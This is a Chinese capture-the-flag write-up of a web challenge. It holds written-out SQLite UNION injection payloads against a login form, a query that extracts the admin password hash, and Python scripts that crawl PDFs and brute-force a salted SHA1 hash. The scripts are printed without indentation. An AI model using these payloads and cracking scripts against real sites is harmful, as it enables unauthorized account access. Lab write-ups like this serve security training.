題目描述
無
題目截圖
解題過程
查看robots.txt
存在login.php,admin.php
dirsearch
訪問login.php
查看源代碼,發現提示信息
將?debug傳遞url,訪問發現源代碼
此時我們可以構造參數閉合sql語句
sql注入
sql:admin'--+
提交后發現沒有報錯,直接跳轉到了主頁面。
我們審查一下源代碼:
發現這段代碼是執行成功查詢后,將查詢結果保存在了cookie的name變量里了。
我們查看一下cookie
似乎並沒有什么用啊
我們繼續嘗試sql注入
sql:admin' order by 1 --+
成功跳轉
sql:admin' order by 2 --+
成功跳轉
sql:admin' order by 3 --+
發現報錯了,可以判斷數據表有兩列。
嘗試union注入,注意用不存在的用戶名進行注入,這里用admin1
sql:admin1' union select 1,2 --+
成功跳轉,sql執行成功。
我們前面已經判斷,sql會將結果存儲在cookie的name里。所以我們查看cookie里name值。
結果為+2
也就是說我們前面sql:admin1' union select 1,2 --+ 里的2可以當作顯示位。
我們嘗試查看數據庫名
我們知道我平時注入的一般為mysql數據庫,當前數據庫為SQLite3,它們的數據庫結構肯定有所不同,常用函數也肯定有差異,所以這個時候需要去百度一下SQLite3如何去注入。
查看版本函數:sqlite_version()
我們去查看一下數據庫版本
sql:admin1' union select 1,sqlite_version() --+
數據庫版本為3.8.10.2
嘗試獲取表名
存儲數據庫信息的數據庫(mysql的information_schema):sqlite_master
字段:name #表名
字段:sql #表結構,表的字段信息都在里面,初始化數據表的sql語句
sql:admin1' union select 1,name from sqlite_master limit 0,1 --+
數據表:users
sql:admin1' union select 1,sql from sqlite_master limit 0,1 --+
發現無結果,不知道啥原因。
sql:admin1' union select 1,sql from sqlite_master limit 1,1 --+
成功取出結果,具體什么原因,可能是不同數據庫不了解。
我們將結果進行url解碼。
CREATE TABLE Users(id int primary key,name varchar(255),password varchar(255),hint varchar(255))
可以看出數據表Users 存在 id name password hint,四個字段,這個里面我們先看看hint字段。
sql:admin1' union select 1,hint from Users limit 0,1 --+
得到:my fav word in my fav paper?!
sql:admin1' union select 1,hint from Users limit 1,1 --+
得到:my love is…?
sql:admin1' union select 1,hint from Users limit 2,1 --+
得到:the password is password
取password
sql:admin1' union select 1,password from Users where name='admin' limit 0,1 --+
得到admin的password的sha1值為:3fab54a50e770d830c0416df817567662a9dc85c
這道題做到這里就不知到怎么繼續了...
查看他人的解題,思路大概是這樣的,admin賬戶的密碼為一個單詞,這個單詞就在網站的某個pdf文件里,登錄進去就能拿到flag。
所以解題思路來了
解題思路
1.爬取所有的pdf文件
2.提取所有pdf文件的單詞
3.將單詞進行加鹽的sha1加密
4.與數據庫中admin的sha1密碼進行匹配
5.拿到密碼登錄admin系統
開始解題
爬取PDF文件
我不會自動爬取所有pdf文件,但是可以半自動爬取。
找出所有存在pdf的頁面為:
http://124.126.19.106:30116/1/index.html
http://124.126.19.106:30116/1/2/index.html
http://124.126.19.106:30116/1/3/index.html
http://124.126.19.106:30116/1/3/6/index.html
http://124.126.19.106:30116/1/3/7/index.html
http://124.126.19.106:30116/1/2/4/index.html
http://124.126.19.106:30116/1/2/5/index.html
http://124.126.19.106:30116/1/3/7/8/index.html
python代碼:
#coding:utf8
import requests
import re
import time
pdflist = []
urllist = ['http://124.126.19.106:30116/1/index.html','http://124.126.19.106:30116/1/2/index.html','http://124.126.19.106:30116/1/3/index.html','http://124.126.19.106:30116/1/3/6/index.html','http://124.126.19.106:30116/1/3/7/index.html','http://124.126.19.106:30116/1/2/4/index.html','http://124.126.19.106:30116/1/2/5/index.html','http://124.126.19.106:30116/1/3/7/8/index.html']
def gethtml(url):
return requests.get(url).text
def getpdf(part,data):
list = re.findall('href="(.+?)"',data)
for i in list:
if 'pdf' in i:
pdflist.append(part+i)
def downfile(name,url):
data = requests.get(url).content
f = open(name,'wb')
f.write(data)
f.close()
print url,'\t','DOWN OK!'
name = 0
for url in urllist:
part = url.replace('index.html','')
getpdf(part,gethtml(url))
time.sleep(0.3)
for i in pdflist:
downfile(str(name)+'.pdf',i)
time.sleep(0.3)
name+=1
print 'ok'
執行python下載pdf文件
PDF轉TXT
接下來就是提取pdf里的文本信息了,我在網上找了一個pdf轉txt的工具:pdftotext.exe,這個工具可以通過命令行把pdf轉txt文件,由於文件相對較多,可以通過python多線程來執行,當然也可以直接手動轉換。
zhuan.py
#coding:utf8
import os
import time
import threading
def thread(cmd):
os.system(cmd)
tsk=[]
for i in range(0,32):
filename = str(i)+'.pdf'
cmd = "pdftotext.exe %s"%(filename)
t = threading.Thread(target=thread,args=(cmd,))
tsk.append(t)
for t in tsk:
t.start()
運行時需要腳本下載好的pdf文件、pdftotext.exe在同一目錄下。
提取單詞爆破密碼
po.py
#coding:utf8
import hashlib
import base64
def tiqu(filename):
f = open(filename,'r')
d = f.read()
f.close()
k = d.split(' ')
n = []
for i in k:
i = i.replace(' ','')
if i!='':
n.append(i)
return n
def sha(word):
hexstr = hashlib.sha1(word+'Salz!').hexdigest()
if '3fab54a50e770d830c0416df817567662a9dc85c' == hexstr:
print '***********',word,'***********'
exit()
for i in range(0,32):
n = tiqu(str(i)+'.txt')
for k in n:
sha(k)
print '--','\t',base64.b64encode(k)
運行時需跟生成的txt文件在同一目錄
爆破密碼為:ThinJerboa
在admin.php里登錄
得到flag:flag{Th3_Fl4t_Earth_Prof_i$_n0T_so_Smart_huh?}
總結
這個題難度挺大,很繁瑣,對人員的編程能力有着極大的挑戰。遇到這種題,不應該全部都用代碼來解決,能手動處理的應該手動處理,有些功能自己不會python的可以到網上找替代工具,再利用簡單的python代碼同樣可以實現牛逼的功能。就是把大問題切割成小問題,然后一步步解決。